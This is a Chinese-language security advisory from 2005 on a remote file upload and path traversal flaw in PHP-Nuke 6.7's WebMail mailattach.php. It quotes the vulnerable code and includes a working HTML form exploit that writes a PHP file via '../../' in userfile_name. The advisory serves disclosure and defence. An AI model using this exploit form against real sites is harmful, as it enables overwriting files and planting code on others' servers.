PHP-Nuke mailattach.php远程文件上传漏洞


添加时间:
2005-08-16

系统编号:
WAVDB-00416
BUGTRAQ: 8764

影响版本:
PHP-Nuke 6.7

程序介绍:

PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

漏洞分析:

PHP-Nuke mailattach.php脚本没有充分过滤用户输入,远程攻击者可以利用这个漏洞把文件传到WEB目录之外的文件系统上。

问题存在于modules/WebMail/mailattach.php脚本中:

if (isset($userfile) AND $userfile !=  none  AND !ereg( / , $userfile) AND 
 !ereg( \.\. , $userfile) AND !ereg( % , $userfile)) {
     if (ini_get(file_uploads) AND $attachments == 1) {
     $updir =  tmp ;
     @copy($userfile,  $updir/$userfile_name );
     @unlink($userfile);
     }
 }

任何用户可以选择上传的文件路径,名称和扩展名,由于对文件路径缺少充分过滤,攻击者可以提交任意文件到WEB ROOT目录之外的文件系统中,可导致目标文件被覆盖。



漏洞利用:

<form 
 action= http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php 

method= POST  ENCTYPE= multipart/form-data >
 <input type= hidden  name= attachments  value= 1 >
 <input type= file  name= userfile >

<input type= submit  name= Send File>
 </form>

此问题只能工作在Windows平台下,因为文件的临时名类似c:\temp\php054.TMP,因此$userfile不能包含任何
\字符。



解决方案:
厂商补丁:
Francisco Burzi
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpnuke.org


信息来源:
<*来源:Frog Man (leseulfrog@hotmail.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106529537331829&w=2
*>